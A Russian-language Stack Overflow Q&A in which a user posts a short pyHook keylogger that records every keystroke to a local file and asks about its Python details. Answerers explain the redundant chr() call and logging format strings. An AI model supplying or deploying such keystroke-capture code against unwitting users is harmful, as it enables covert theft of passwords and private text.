Кейлоггер Python

Я пытался сделать кейлоггер в pyhton и наткнулся на этот фрагмент кода в многочисленных блогах:

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Хорошо, у меня есть три сомнения здесь:

Во-первых, насколько я понимаю, chr(event.Ascii) используется для преобразования значений ASCII нажатий клавиш в действительные значения char. Почему мы делаем это дважды: chr(event.Ascii) logging.log(10,chr (событие.Ascii)). Разве строка: chr(event.Ascii) здесь не избыточна.

Во-вторых, какая польза от 's' в format='%(message)s'

И в-третьих: я сохранил файл как «.pyw». Но когда я дважды щелкаю по нему, он не работает. Хотя, это работает через Cmd


person Ketan Pandey    schedule 24.06.2018    source источник
comment
Во-первых, не пытайтесь задавать три отдельных вопроса одновременно. Ответы на три будут совершенно не связаны друг с другом, поэтому они должны быть отдельными вопросами.   -  person abarnert    schedule 24.06.2018
comment
В любом случае, ваш второй вопрос, вероятно, является дубликатом, но он также отлично объясняется в документации: в строках формата в стиле printf каждый формат должен заканчиваться спецификатором типа преобразования, например s. В частности, s означает преобразование его в строку, а не, скажем, в число. Причины, по которым форматирование printf работает таким образом, восходят к C 1970-х годов; если вы хотите что-то более читабельное, используйте f-строки или str.format. И ведение журнала с использованием строк формата в стиле printf.   -  person abarnert    schedule 24.06.2018
comment
На ваш второй вопрос отвечено здесь   -  person jedwards    schedule 24.06.2018
comment
Кроме того, использование log(10, …) хоть и законно, но очень странно. Если вы используете уровни журнала по умолчанию, это может быть более читабельно записано как log(DEBUG, …) или, что еще проще, просто debug(…).   -  person abarnert    schedule 24.06.2018


Ответы (1)


Насколько я понимаю, chr(event.Ascii) используется для преобразования значений ASCII нажатий клавиш в действительные значения char. Почему мы делаем это дважды: chr(event.Ascii) logging.log(10,chr(event.Ascii) ). Разве строка: chr(event.Ascii) здесь не избыточна.

Да, вы правильно понимаете. И это было бы бесполезно, даже если бы оно не было избыточным — это просто оператор выражения, который вычисляет выражение без побочных эффектов и ничего не делает с результатами, поэтому он не имеет никакого эффекта, за исключением того, что тратит немного процессорного времени.

Когда вы находите случайный код где-то в Интернете, нет никакой гарантии, что это блестящий код.

Возможно, автор получал странные значения и решил, что ему нужно поставить точку останова прямо перед или после этого вызова chr, поэтому они переместили его на отдельную строку. Или получить исключение и не знать, как определить, пришло ли оно из chr или log. Конечно, либо они должны были затем сделать s = chr(event.Ascii), а затем использовать это в logging.log(10, s), или что-то в этом роде, но, возможно, это была просто одноразовая быстрая и грязная вещь, которую они просто забыли вернуть.

Или, может быть, автор знает о Python меньше, чем вы, или он идиот, или ему просто платят за количество вызовов встроенных функций. Кто знает?

person abarnert    schedule 24.06.2018
comment
Спасибо чувак. Я все еще застрял на третьем вопросе. Почему файл отлично работает с CMD, но не сам по себе? Я установил pythonw.exe. - person Ketan Pandey; 24.06.2018
comment
@KetanPandey Поскольку это совершенно отдельный вопрос, вы можете искать его отдельно и, если ничего не найдете, опубликовать новый вопрос, описание которого, теги, минимальный воспроизводимый пример и т. д. относятся к этому вопросу и дают лучший ответ. Люди, которые знают все о том, как работает pythonw и как настроить Python для Windows, но ничего не знают о кейлоггерах или pyhook, даже не увидят этот вопрос в своей ленте. - person abarnert; 24.06.2018